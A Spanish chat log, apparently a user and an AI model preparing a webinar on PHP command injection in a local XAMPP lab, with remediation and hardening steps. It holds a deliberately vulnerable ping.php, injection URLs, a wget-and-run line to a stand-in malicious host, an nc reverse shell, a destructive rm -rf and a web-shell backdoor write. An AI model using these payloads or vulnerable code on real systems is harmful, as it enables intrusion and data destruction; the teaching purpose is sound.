Vulnerabilidades Críticas en PHP (PHP2Shell)

Paso A:

Sí, puedes hacerlo perfectamente usando XAMPP en Xubuntu. De hecho, XAMPP es una excelente opción porque simula un entorno de servidor Apache real.
A continuación tienes el paso a paso para configurarlo y hacer las pruebas:

Paso 1: Ubicar la carpeta de XAMPP

Por defecto, en Xubuntu (y en la mayoría de distribuciones Linux), XAMPP se instala en la ruta /opt/lampp/. La carpeta pública donde van los sitios y scripts PHP es **htdocs**:

$$Rutapública: /opt/lampp/htdocs/$$

Paso 2: Crear el archivo PHP vulnerable

Dado que la carpeta /opt/lampp/htdocs/ pertenece al usuario root, la forma más sencilla de crear el archivo desde la terminal es usando sudo:

1. Abre tu terminal (Ctrl + Alt + T).
2. Ejecuta el comando para crear el archivo ping.php con el editor nano:
3. Bash

```
None
sudo nano /opt/lampp/htdocs/ping.php
```

4.
5. Pega el código vulnerable exacto:
6. PHP

```
None
<?php
// Código vulnerable de ejemplo
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];
    // Vulnerable a ejecución directa de comandos del sistema operativo
    $resultado = shell_exec("ping -c 4 " . $ip);
    echo "<pre>$resultado</pre>";
}
?>
```

7.
8. Guarda el archivo presionado Ctrl + O, luego Enter, y sal con Ctrl + X.

Paso 3: Iniciar el servidor XAMPP

Si no tienes corriendo XAMPP, inícialo desde la terminal ejecutando:

Bash

```
None
sudo /opt/lampp/lampp start
```

*(O si utilizas el panel gráfico de XAMPP, asegúrate de que el módulo **Apache Web Server** esté en estado **Running**).*

Paso 4: Replicar las pruebas en el navegador

Abre Firefox o tu navegador de preferencia y prueba las siguientes URLs:

1. Prueba de uso legítimo

Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8
```

- **Resultado:** Verás la salida del comando ping de Linux enviando 4 paquetes a los DNS de Google.

2. Prueba de ataque (Inyección de Comandos)

Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8;cat /etc/passwd
```

- **Resultado:** Verás el ping normal seguido inmediatamente por el contenido del archivo de usuarios del sistema /etc/passwd.

3. Otras variantes rápidas para mostrar en el webinar

- Para ver la versión del sistema operativo:
- Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8;uname -a
```

-
- Para ver qué usuario del sistema está ejecutando el comando (normalmente daemon o nobody en XAMPP):
- Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8;whoami
```

-

Nota técnica útil para el webinar: Al usar XAMPP, el comando se ejecutará con el usuario del servicio de Apache (por defecto daemon), lo que te sirve perfecto para explicarle a la audiencia la importancia del **Principio de menor privilegio**: aunque el atacante logre ejecutar comandos, el impacto dependerá de los permisos que tenga dicho usuario en el sistema operativo.

Ok, tengo muchas preguntas para ti con relación a este paso A:

Empecemos con la primera, porque alguien querría ejecutar el código del archivo ping.php?

este código en sus servidores?

<?php// Código vulnerable de ejemploif (isset($_GET['ip'])) {

$ip = $_GET['ip'];

// Vulnerable a ejecución directa de comandos del sistema operativo

$resultado = shell_exec("ping -c 4 " . $ip);

echo "<pre>$resultado</pre>";

}?>

Esta es una excelente pregunta y es la duda principal que suele surgir cuando la gente ve este tipo de vulnerabilidades.

Nadie escribe un script pensando en dejar una puerta trasera intencionadamente; la razón por la que este tipo de código existe en servidores reales se reduce a tres motivos principales:

1. Necesidades funcionales de la aplicación

En sistemas web de administración (paneles de control de redes, routers, sistemas de monitoreo de servidores o herramientas internas de TI), los desarrolladores necesitan incluir utilidades diagnósticas.

- **Ejemplo real:** Imagina un panel de control como CPanel, el firmware de un router TP-Link/Cisco o una intranet de soporte técnico donde el administrador necesita verificar si una máquina o impresora remota está en línea sin tener que abrir la terminal del servidor.

2. Aprovechar herramientas que el sistema operativo ya posee

En lugar de programar desde cero una función compleja en PHP que construya un paquete ICMP de bajo nivel para hacer un "ping", al desarrollador le resulta más rápido y práctico llamar al comando `ping` que el propio Linux/Unix ya tiene instalado y optimizado.

3. Falta de cultura de código seguro (Mala práctica común)

El problema no es querer hacer un `ping`, sino **cómo se implementó**.

Muchos desarrolladores juniors o con prisa resuelven el requerimiento concatenando directamente la variable que viene del usuario (`$ip`) dentro de `shell_exec()` para salir del paso rápidamente, ignorando que los datos que vienen del navegador (`$_GET` o `$_POST`) jamás deben considerarse seguros ni confiables.

¿Cómo explicar esto en tu webinar?

Puedes decírselo a tu audiencia con este enfoque sencillo:

> *"En herramientas administrativas web (como paneles de red o soporte), es muy común querer ofrecer un botón para probar la conexión con un servidor. El desarrollador intenta resolver esa necesidad llamando al `ping` del sistema operativo, pero al unir directamente lo que escribe el usuario con el comando de Linux sin filtrar la entrada, transforma una herramienta útil en un riesgo crítico."*

Otra pregunta, porqué al ejecutar http://localhost/ping.php?ip=8.8.8.8;cat /etc/passwd

eso nos hace vulnerables?

Qué hace el comando cat /etc/passwd y porqué eso nos hace vulnerables?

Para entender por qué esto nos hace vulnerables, hay que analizar qué hace exactamente el comando cat /etc/passwd y qué significa en términos de seguridad.

1. ¿Qué hace el comando cat /etc/passwd?

En sistemas Linux (como tu Xubuntu), los comandos significan lo siguiente:

- **cat** (abreviatura de *concatenate*): Es un comando de la terminal que sirve para **leer y mostrar el contenido de un archivo de texto** directamente en la pantalla.
- **/etc/passwd**: Es un archivo fundamental del sistema operativo que contiene la lista de todas las cuentas de usuario registradas en la máquina, junto con sus configuraciones (ID de usuario, directorio personal, tipo de shell asignado, etc.).

Cuando ejecutas cat /etc/passwd, el sistema operativo lee ese archivo sensible y te muestra en pantalla toda la estructura de usuarios de la máquina.

2. ¿Por qué esto nos hace vulnerables?

Nos hace vulnerables por dos razones principales: **Fuga de información (Reconocimiento)** y **Demostración de Ejecución Remota de Código (RCE)**.

A. Fuga de información sensible

Al mostrar /etc/passwd, el atacante obtiene el "mapa" de los usuarios del servidor. Sabe exactamente qué usuarios existen (ej. root, admin, desarrollador), lo cual es el primer paso para lanzar ataques de fuerza bruta o escalación de privilegios.

B. Es la prueba de que el servidor está bajo control externo

El archivo /etc/passwd se utiliza universalmente en ciberseguridad como la **"prueba de concepto" (PoC)** clásica. Si un atacante logra que la página web le devuelva el contenido de /etc/passwd, significa que **la página web ya no solo ejecuta comandos de red (como ping), sino cualquier comando de Linux que el atacante decida enviar**.

3. Del cat /etc/passwd al desastre total (El peligro real)

Si el servidor acepta ejecutar cat /etc/passwd, el atacante sabe que también puede enviar comandos mucho más peligrosos como:

1. **Borrar información del servidor:**
2. Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8; rm -rf /var/www/html
```

3. *(Borraría todos los archivos del sitio web).*
4. **Descargar y ejecutar malware:**
5. Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8; wget
http://sitio-malicioso.com/virus.sh -O /tmp/v.sh; bash /tmp/v.sh
```

6.
7. **Tomar control total mediante una Shell Inversa (PHP2Shell):**
8. Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8; nc -e /bin/bash 192.168.1.50 4444
```

9. *(Esto conecta la terminal del servidor directamente a la computadora del atacante, dándole una consola de mandos remota).*

¿Cómo explicar esto en tu webinar?

Puedes resumirlo así ante la audiencia:

*"El comando cat /etc/passwd sirve para leer la lista de usuarios del sistema. Aunque leer ese archivo ya es una fuga de información, el verdadero peligro es lo que representa: si el servidor nos obedeció y leyó ese archivo, significa que aceptará **cualquier** comando de Linux. El atacante ha logrado transformar una simple casilla de ping en una terminal remota para controlar el servidor."*

3. ¿Cómo realizar una prueba segura y efectiva para el webinar?

Para un entorno de demostración académica o webinar en vivo, intentar establecer shells inversas suele ser inestable, propenso a fallos de red y difícil de visualizar para los asistentes.

La forma más clara, profesional y segura de demostrar la vulnerabilidad de **Ejecución Remota de Código (RCE)** en la presentación es mediante **comandos de diagnóstico del sistema operativo** que devuelvan una respuesta inmediata en pantalla:

1. **Demostración de lectura de identidad del proceso:**
2. Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8;whoami
```

3. *Muestra el usuario con el que corre el servidor web.*
4. **Demostración de lectura de información del sistema:**
5. Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8;uname -a
```

6. *Muestra detalles del núcleo (kernel) de Linux.*
7. **Demostración de estado del sistema:**
8. Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8;hostname
```

9. *Muestra el nombre de la máquina.*

Con este enfoque, la audiencia comprende al instante que el atacante puede inyectar cualquier comando de consola sin necesidad de lidiar con configuraciones de red complejas o bloqueos del sistema.

por ejemplo al ejecutar

http://localhost/ping.php?ip=8.8.8.8;cat /etc/passwd

me devuelve:

root❌0:0:root:/root:/bin/bash

daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin❌2:2:bin:/bin:/usr/sbin/nologin

sys❌3:3:sys:/dev:/usr/sbin/nologin

sync❌4:65534:sync:/bin:/bin/sync

games❌5:60:games:/usr/games:/usr/sbin/nologin

man❌6:12:man:/var/cache/man:/usr/sbin/nologin

lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail❌8:8:mail:/var/mail:/usr/sbin/nologin

news❌9:9:news:/var/spool/news:/usr/sbin/nologin

uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy❌13:13:proxy:/bin:/usr/sbin/nologin

www-data❌33:33:www-data:/var/www:/usr/sbin/nologin

backup❌34:34:backup:/var/backups:/usr/sbin/nologin

list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc❌39:39:ircd:/run/ircd:/usr/sbin/nologin

_apt❌42:65534::/nonexistent:/usr/sbin/nologin

nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-network❌998:998:systemd Network Management:/:/usr/sbin/nologin

systemd-timesync❌996:996:systemd Time Synchronization:/:/usr/sbin/nologin

dhcpcd❌100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false

messagebus❌995:995:System Message Bus:/nonexistent:/usr/sbin/nologin

syslog❌101:101::/nonexistent:/usr/sbin/nologin

systemd-resolve❌990:990:systemd Resolver:/:/usr/sbin/nologin

tss❌102:103:TPM software stack,,,:/var/lib/tpm:/bin/false

uuidd❌103:105::/run/uuidd:/usr/sbin/nologin

dnsmasq❌999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin

avahi❌104:110:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin

tcpdump❌105:111::/nonexistent:/usr/sbin/nologin

usbmux❌106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

fwupd-refresh❌989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin

saned❌107:113::/var/lib/saned:/usr/sbin/nologin

lightdm❌108:114:Light Display Manager:/var/lib/lightdm:/bin/false

cups-browsed❌109:112::/nonexistent:/usr/sbin/nologin

hplip❌110:7:HPLIP system user,,,:/run/hplip:/bin/false

polkitd❌988:988:User for polkitd:/:/usr/sbin/nologin

rtkit❌111:116:RealtimeKit,,,:/proc:/usr/sbin/nologin

colord❌112:117:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin

aristides1000❌1000:1000:aristides1000:/home/aristides1000:/bin/bash

nm-openvpn❌114:120:NetworkManager
OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin

geoclue❌115:121::/var/lib/geoclue:/usr/sbin/nologin

cups-pk-helper❌116:112:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin

whoopsie❌117:122::/nonexistent:/bin/false

gnome-remote-desktop❌987:987:GNOME Remote
Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin

gdm❌118:123:Gnome Display Manager:/var/lib/gdm3:/bin/false

mysql❌997:1001::/home/mysql:/bin/sh

nvidia-persistenced❌113:119:NVIDIA Persistence Daemon,,,:/nonexistent:/usr/sbin/nologin

nm-openconnect❌119:125:NetworkManager OpenConnect
plugin,,,:/var/lib/NetworkManager:/usr/sbin/nologin

_flatpak❌120:126:Flatpak system-wide installation helper,,,:/nonexistent:/usr/sbin/nologin

y qué información de vulnerabilidad o comprometedora puede sacar el atacante de ella?

¡Excelente! Esa salida en pantalla es la prueba perfecta de que el exploit funcionó.

Aunque a primera vista `/etc/passwd` parezca solo un texto plano con nombres de usuario, para un atacante esta respuesta entrega **información táctica muy valiosa**:

1. Nombres exactos de usuario para ataques de fuerza bruta

El atacante ya no tiene que adivinar qué usuarios existen en la máquina. Mirando la lista, identifica de inmediato:

- **`aristides1000`**: Un usuario real humano con directorio personal (`/home/aristides1000`) y acceso a la consola (`/bin/bash`). Este se convierte en el **blanco principal** para intentar ataques de fuerza bruta por SSH.
- **`root`**: Confirmado como el administrador del sistema.

2. Identificación de servicios instalados en el servidor

Analizando los usuarios de sistema (cuentas creadas automáticamente por programas), el atacante scopie que aplicaciones están corriendo en la máquina:

- **`mysql`**: Confirma que el servidor tiene una base de datos MySQL/MariaDB en ejecución.
- **`lightdm`** / **`gdm`** / **`gnome-remote-desktop`**: Revela que el equipo tiene interfaz gráfica y servicios de escritorio remoto habilitados.
- **`nm-openvpn`** / **`nm-openconnect`**: Indica que este equipo utiliza o gestiona conexiones VPN.

3. Mapa de permisos y entornos ejecutable (*Shells*)

Al final de cada línea se especifica el tipo de *shell* asignado a la cuenta:

- **`/usr/sbin/nologin`** o **`/bin/false`**: Cuentas bloqueadas que no permiten iniciar sesión interactiva (como `www-data`, `daemon`, etc.).
- **`/bin/bash`** o **`/bin/sh`**: Cuentas activas que pueden ejecutar consolas interactivas (`root`, `aristides1000`, `mysql`).

¿Cómo explicar esto en tu webinar?

Durante la presentación, puedes destacar estos puntos clave ante la audiencia:

> "Al ejecutar el comando `cat /etc/passwd`, no solo demostramos que la web es vulnerable, sino que le regalamos al atacante el mapa de nuestro servidor. Ahora sabe qué usuarios humanos existen, qué bases de datos tenemos instaladas y qué cuentas permiten abrir una consola interactiva para escalar privilegios."

Que es "prueba de concepto" (PoC) clásica en ciberseguridad y porqué usan el archivo /etc/passwd

Una **Prueba de Concepto** (PoC, por sus siglas en inglés *Proof of Concept*) en ciberseguridad es una demostración práctica, mínima e inofensiva que evidencia la existencia de una vulnerabilidad en un sistema.
Su único objetivo es **demostrar que un fallo de seguridad es real y explotable**, sin causar daños, destruir datos ni interrumpir la disponibilidad del servicio.

¿Por qué se utiliza el archivo /etc/passwd como la PoC clásica?

En ataques de ejecución remota de comandos (RCE) o inclusión de archivos (LFI/RFI) en entornos Linux, leer el archivo /etc/passwd se convirtió en el estándar de la industria por varias razones estratégicas:

1. **Garantía de existencia y ruta universal:**
    - Todos los sistemas operacionales basados en Unix/Linux tienen el archivo /etc/passwd en esa ubicación exacta.
    - No requiere adivinar rutas ni depender de archivos temporales que varían entre servidores.
2. **Permisos de lectura globales:**
    - El archivo /etc/passwd contiene únicamente metadatos de los usuarios del sistema (nombres, IDs, directorios *home*, tipos de consola).
    - Por diseño del sistema operativo, **cualquier usuario o proceso puede leerlo** (incluso el usuario de bajo privilegio con el que corre el servidor web, como www-data o daemon).
3. **Es inofensivo pero contundente:**
    - No contiene contraseñas (las contraseñas cifradas se guardan en /etc/shadow, el cual requiere permisos de root).
    - Leerlo no altera el sistema ni borra ningún dato, lo que lo hace ético y seguro de ejecutar durante pruebas de auditoría de ciberseguridad.
4. **Identificación e impacto inconfundibles:**
    - Su estructura es inconfundible (líneas separadas por dos puntos como root:x:0:0...).
    - Ver esas líneas renderizadas en una página web confirma al instante que el atacante rompió el aislamiento de la aplicación PHP y tiene acceso directo a leer el sistema de archivos del servidor operativo.

Para dictar el **Paso B** de manera fluida y mantener a la audiencia enganchada durante estos 10 minutos, lo ideal es trabajar bajo una dinámica de **"Live Coding / Live Auditing"** donde tú muestras el proceso en vivo con DeepSeek y, al mismo tiempo, invitas a los participantes a hacer el ejercicio de forma sincrónica.

1. Estructura de Explicación Paso a Paso para el Webinar

Minuto 1-2: Contextualización del Rol de la IA en Ciberseguridad

- **Qué decir a la audiencia:**
  "Hasta ahora hemos visto cómo un atacante explota manualmente la vulnerabilidad. En un proyecto real con miles de líneas de código, buscar estas fallas línea por línea requeriría horas o días. Hoy en día, la Inteligencia Artificial nos permite actuar como auditores senior en cuestión de segundos, siempre y cuando sepamos asignarle el **rol adecuado** y la **instrucción correcta (Prompt Engineering)**."

Minuto 3-5: Preparación y Envíos del Prompt en Vivo

- **Acción en pantalla:**
    1. Comparte pantalla mostrando la interfaz de **DeepSeek** (chat.deepseek.com).

2. Pasa el prompt por el chat de la plataforma de la llamada (Zoom, Meet, Teams) para que los asistentes puedan copiarlo.
3. Copia el prompt en el cajón de texto de DeepSeek, reemplazando [Pega aquí el código PHP vulnerable] con el snippet original:

Plaintext

```
None
Actúa como un Auditor de Ciberseguridad Senior y Analista de Código Seguro en PHP.
Revisa el siguiente fragmento de código en busca de vulnerabilidades críticas de ejecución remota de comandos (RCE):

<?php
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];
    $resultado = shell_exec("ping -c 4 " . $ip);
    echo "<pre>$resultado</pre>";
}
?>

Entrégame tu análisis estructurado de la siguiente manera:
1. Identificación exacta de la línea vulnerable y el riesgo asociado (PHP2Shell / RCE).
2. Explicación de cómo un atacante podría explotarlo.
3. El código corregido y seguro aplicando las mejores prácticas de saneamiento y funciones seguras (ej. escapes o listas blancas).
```

Minuto 6-10: Análisis Guiado de la Respuesta devuelta por DeepSeek

Con la respuesta generada en pantalla por DeepSeek, ve señalando con el cursor los tres puntos clave devueltos por el modelo:

1. **Línea Vulnerable:** Se detecta de inmediato que $resultado = shell_exec("ping -c 4 " . $ip); concatena datos de entrada directo a la consola sin filtrar.
2. **Explicación del Vector:** La IA detallará que el punto y coma ; permite inyectar cadenas de comandos arbitrarias que se ejecutan con los permisos del usuario web.
3. **Propuesta de Remediación:** La IA suele entregar dos enfoques de corrección:
    - **Opción Básica (Escape de argumentos):** Utilizando escapeshellarg($ip) para neutralizar caracteres especiales del shell.
    - **Opción Robusta (Validación de IP por lista blanca / filtro nativo):** Validando que $ip sea estrictamente una dirección IP válida mediante filter_var($ip, FILTER_VALIDATE_IP).

2. Por qué usar DeepSeek en esta demostración

- **Razonamiento especializado en código:** DeepSeek destaca por su precisión en el análisis de código estático y sintaxis PHP.
- **Respuesta en formato estructurado:** Sigue de manera disciplinada las 3 secciones requeridas sin divagar, lo cual facilita la lectura de los asistentes en diapositivas o pantalla compartida.

3. Presentación Interactiva (Paso B)

He generado un mazo de diapositivas en formato oscuro específico para apoyar el **Paso B** durante la transmisión.

paso_b_auditoria_ia_deepseek (slide deck) [generated with slides_gen tool]

¿Pasamos ahora a profundizar en el **Paso C (Análisis comparativo de las soluciones propuestas por la IA)** para revisar en detalle el código seguro antes de entrar al bloque de Hardening?

El **Paso C (5 minutos)** es el momento del webinar donde conectas lo que encontró la IA con los conceptos teóricos de desarrollo seguro. Es la fase de **comparación y entendimiento**: la audiencia ya vio que la IA detectó el problema, y ahora tú les explicas *por qué* la solución que propone la IA realmente funciona y evita el ataque.

1. Guion de Explicación Paso a Paso (Sencillo y Didáctico)

Para explicar esta sección en 5 minutos sin enredar a los asistentes con jerga técnica compleja, divídela en tres ideas clave:

Idea 1: La causa raíz identificada por la IA (1 min)

- **Qué decir:**
  "Como vimos en la respuesta de DeepSeek, la IA detectó de inmediato el corazón del problema: la función shell_exec() concatenada directamente con la entrada de usuario $_GET['ip']. Cuando pasas datos sin filtrar del navegador a la terminal, le das al navegador el poder de controlar tu sistema operativo."

Idea 2: Alternativa 1 - Sanear con **escapeshellarg()** (2 min)

- **Qué hace:** Coloca comillas alrededor de la variable y escapa cualquier carácter especial (como ;, &&, |) para que la terminal los interprete como texto plano y no como comandos ejecutables.
- **El código propuesto por la IA:**
- PHP

```
None
$ip = $_GET['ip'];
// escapeshellarg convierte "8.8.8.8; cat /etc/passwd" en "'8.8.8.8;
cat /etc/passwd'"
$resultado = shell_exec("ping -c 4 " . escapeshellarg($ip));
```

-
- **Cómo explicarlo sencillamente:**
  "La primera opción que propone la IA es ponerle 'esposas' a los caracteres peligrosos mediante escapeshellarg(). Si el atacante intenta enviar 8.8.8.8; cat /etc/passwd, la función envuelve todo entre comillas simples. Linux intentará hacer un ping a un host llamado literalmente 8.8.8.8; cat /etc/passwd, lo cual fallará como un error de red normal, pero jamás ejecutará el segundo comando."

Idea 3: Alternativa 2 (La mejor práctica) - Validar con **filter_var()** (2 min)

- **Qué hace:** En lugar de intentar "limpiar" lo que envía el usuario, verifica si la entrada cumple **estrictamente** con el formato de una dirección IP antes de llamar a shell_exec().
- **El código propuesto por la IA:**

- PHP

```
None
$ip = $_GET['ip'];

// Validar si realmente es una IP válida (IPv4 o IPv6)
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    $resultado = shell_exec("ping -c 4 " . escapeshellarg($ip));
    echo "<pre>$resultado</pre>";
} else {
    echo "Error: Dirección IP no válida.";
}
```

-
- **Cómo explicarlo sencillamente:**
  "La segunda solución —y la más profesional— es aplicar el principio de **'no confíes en nadie'** usando filter_var($ip, FILTER_VALIDATE_IP). Si lo que escribió el usuario no es estrictamente una IP (por ejemplo, si contiene letras, espacios o un punto y coma ;), el script rechaza la petición de inmediato sin llegar a tocar la consola del servidor."

2. Presentación Diapositiva Oscura (Paso C)

He generado el mazo de diapositivas en formato oscuro para este bloque de 5 minutos, listo para proyectar.

paso_c_analisis_respuesta_ia (slide deck) [generated with slides_gen tool]

Resumen para el ponente en el Paso C:

1. Muestra la diferencia entre **sanitizar** (escapeshellarg()) y **validar** (filter_var()).
2. Resalta que la IA nos ahorró tiempo al darnos ambas opciones corregidas en segundos.

¿Pasamos ahora al **Bloque 4: Mitigación Urgente y Hardening de Servidores (15 Minutos)** para cerrar la preparación del webinar?

Para dictar el **Bloque 4 (15 minutos)** de forma clara y entretenida, la clave es transformar conceptos abstractos de infraestructura y ciberseguridad defensiva (*hardening*) en estrategias prácticas con ejemplos visuales.

1. Guion para explicar cada concepto de forma sencilla

A. Medidas de Contención Inmediata / Parcheo (5 min)

- **Deshabilitar funciones peligrosas (php.ini):**
  - *Cómo explicarlo:* "Si una casa no necesita una puerta trasera, la mejor seguridad es sellarla con ladrillos. Si tu aplicación PHP no necesita ejecutar comandos del sistema operativo, deshabilita las funciones nativas que lo permiten desde la configuración general del servidor (php.ini)."
  - *La directiva clave:*
  - Ini, TOML

```
None
disable_functions = exec, passthru, shell_exec, system, proc_open,
popen
```

    -
    - *Impacto:* Aunque el programador vuelva a cometer el error de escribir shell_exec(), el motor de PHP se negará a ejecutarlo y arrojará un error de seguridad.
- **Principio de menor privilegio:**
    - *Cómo explicarlo:* "El usuario con el que corre tu servidor web (www-data en Apache/Ubuntu o nginx) nunca debe ser root ni administrador del sistema. Si el servidor web sufre una brecha RCE, el atacante solo heredará los permisos limitados de ese usuario web y no podrá modificar archivos críticos del sistema operativo."

B. Buenas Prácticas de Desarrollo Seguro (5 min)

- **Regla de oro de la ciberseguridad:** "Nunca confíes en los datos de entrada (*Never trust user input*)." Todo dato que venga de afuera ($_GET, $_POST, $_COOKIE, cabeceras HTTP) debe ser considerado potencialmente malicioso hasta que se valide y sanitice.
- **Cero evaluación dinámica:** Evitar estrictamente el uso de funciones como eval(), exec() o la ejecución dinámica de código a partir de cadenas de texto enviadas por usuarios.

C. Monitoreo y Detección de Anomalías (2 min)

- **WAF (Web Application Firewall):** Actúa como un "filtro de seguridad" en la entrada del servidor que inspecciona las peticiones HTTP y bloquea automáticamente si detecta patrones sospechosos como ;, &&, | o cat /etc/passwd.
- **Análisis de Logs:** Revisar de forma automatizada los registros de acceso (access.log) de Apache/Nginx para identificar intentos fallidos o inyecciones inusuales en las URLs.

2. Práctica en vivo en Xubuntu (Fácil y Rápida)

Para mostrar en vivo el impacto real del *hardening* en tu Xubuntu/XAMPP, puedes realizar esta pequeña demostración de **3 minutos**:

Demostración: Bloqueo directo en php.ini

1. Abre el archivo de configuración de PHP en la terminal:
    - **En XAMPP:**
    - Bash

```
None
sudo nano /opt/lampp/etc/php.ini
```

    -
    - **En PHP nativo de Ubuntu:**
    - Bash

```
None
sudo nano /etc/php/8.x/cli/php.ini
```

2. Busca la línea disable_functions (puedes presionar Ctrl + W en nano para buscar) y agrégale las funciones peligrosas:
3. Ini, TOML

```
None
disable_functions = exec, passthru, shell_exec, system, proc_open, popen
```

4.
5. Guarda el archivo (Ctrl + O, Enter, Ctrl + X) y reinicia XAMPP/Apache:
6. Bash

```
None
sudo /opt/lampp/lampp restart
```

7.
8. **La prueba de fuego en el navegador:**
   Intenta ejecutar nuevamente la URL maliciosa que funcionaba antes:
9. Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8;cat /etc/passwd
```

10.
11. **Resultado visible para la audiencia:**
    En lugar de mostrar el contenido del archivo de usuarios, PHP mostrará una advertencia de seguridad explícita:
    Warning: shell_exec() has been disabled for security reasons...
    Esto demuestra que el servidor quedó protegido a nivel de infraestructura, incluso si el código fuente sigue siendo vulnerable.

Ok, ahor dame un caso práctico para esto que faltó:

Principio de menor privilegio: Asegurarse de que el usuario del servidor web (ej. www-data o nginx) tenga permisos mínimos de lectura y escritura únicamente en los directorios indispensables.

Buenas prácticas de desarrollo seguro:

Validar, filtrar y sanitizar siempre cualquier dato que provenga del exterior (POST, GET, Cookies).

Evitar el uso dinámico de funciones de evaluación o ejecución de cadenas de texto.

Monitoreo y detección de anomalías: Uso de Web Application Firewalls (WAF) y análisis automatizado de logs de servidor en busca de patrones de cadenas de escape (como ;, &&, |) en peticiones HTTP inusuales.

Aquí tienes un caso práctico para cada uno de esos tres puntos, diseñado de forma sencilla para que puedas explicarlo y mostrarlo fácilmente en tu equipo con Xubuntu o XAMPP durante los 15 minutos del Bloque 4.

1. Caso Práctico: Principio de Menor Privilegio (Permisos de archivos en Linux)

La idea a explicar: Si un atacante logra ejecutar comandos en tu servidor (RCE), **sólo podrá hacer lo que el usuario del servidor web tenga permiso de hacer** en el sistema de archivos.

¿Cómo demostrarlo en Xubuntu/XAMPP?

1. **Escenario de vulnerabilidad por mala configuración (Permisos 777):**
   Abre tu terminal y dale permisos totales de lectura, escritura y ejecución a la carpeta del servidor web:
2. Bash

```
None
sudo chmod -R 777 /opt/lampp/htdocs/
```

3.
   Si el atacante ejecuta:
4. Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8; echo "<?php
system(\$_GET['cmd']); ?>" > /opt/lampp/htdocs/backdoor.php
```

5.
   Resultado: El servidor le permitirá crear el archivo backdoor.php sin problemas porque la carpeta tenía permisos de escritura desmedidos.
6. **Aplicando Hardening (Menor Privilegio):** Ahora reconfigura la carpeta aplicando el principio de menor privilegio: los archivos deben pertenecera un usuario adecuado con permisos 644 (lectura/escritura solo para el dueño, solo lectura para los demás) y los directorios 755:
7. Bash

```
None
sudo chown -R www-data:www-data /opt/lampp/htdocs/

sudo chmod 755 /opt/lampp/htdocs/
```

```
sudo chmod 644 /opt/lampp/htdocs/ping.php
```

8.
9. **La prueba en vivo:**
   Vuelve a intentar crear el archivo desde el navegador:
10. Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8; echo "hacked" >
/opt/lampp/htdocs/test.txt
```

11.
    Resultado visible: Aparecerá un error de sistema: Permission denied. El atacante no puede sobrescribir ni inyectar archivos dentro de la web aunque tenga un RCE funcional.

2. Caso Práctico: Buenas Prácticas de Desarrollo Seguro (Sanitización + Sin Ejecución Dinámica)

La idea a explicar: En el desarrollo seguro no basta con intentar limpiar los datos; hay que validar contra reglas estrictas de tipo y estructura. Además, se debe evitar el uso de funciones de evaluación dinámica como eval().

Comparativa de código para mostrar en pantalla:

- **Mala Práctica (Evaluación Dinámica con eval):**
- PHP

```
None
// PÉSIMO: Evalúa la cadena directamente como código PHP

$color = $_GET['color'];

eval("\$bg = '$color';");

// Un atacante enviaría: color=blue'; system('id'); '
```

-
- **Buena Práctica (Validación estricta y Listas Blancas / Filter Var):**
- PHP

```
None
// CORRECTO: Validación mediante Lista Blanca (Whitelist)

$ip = $_GET['ip'] ?? '';
```

```
// 1. Sanitización/Validación estricta con funciones nativas
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
    die("Error: Formato de dirección IP inválido.");
}

// 2. Uso seguro de argumentos
$ip_segura = escapeshellarg($ip);
$resultado = shell_exec("ping -c 4 " . $ip_segura);
```

-

3. Caso Práctico: Monitoreo y Detección de Anomalías (Análisis de Logs)

La idea a explicar: Cuando un atacante intenta inyectar metacaracteres de consola (como ;, &&, |), sus intentos quedan registrados inmediatamente en los archivos de registro (*logs*) de acceso del servidor web.

¿Cómo mostrarlo en vivo en Xubuntu?

1. Abre una terminal y pon a monitorear en tiempo real el archivo access.log de tu servidor web:
    - **En XAMPP:**
    - Bash

```
None
tail -f /opt/lampp/logs/access_log
```

    -
    - **En Apache nativo de Ubuntu:**
    - Bash

```
None
tail -f /var/log/apache2/access.log
```

    -
2. Ejecuta un intento de ataque desde el navegador:
3. Plaintext

```
None
http://localhost/ping.php?ip=8.8.8.8;cat /etc/passwd
```

4.
5. **Lo que la audiencia verá aparecer en tiempo real en la terminal:**
6. Plaintext

```
None
127.0.0.1 - - [29/Oct/2026:21:00:00 -0400] "GET
/ping.php?ip=8.8.8.8;cat%20/etc/passwd HTTP/1.1" 200 1450
```

7.
8. **Explicación para el webinar:**
   "Observen cómo en los logs del servidor queda la evidencia exacta de los caracteres maliciosos ;cat%20/etc/passwd. Un WAF (Web Application Firewall) o una regla de monitoreo automatizado analiza estas líneas en milisegundos y bloquea la dirección IP del atacante antes de que logre su objetivo."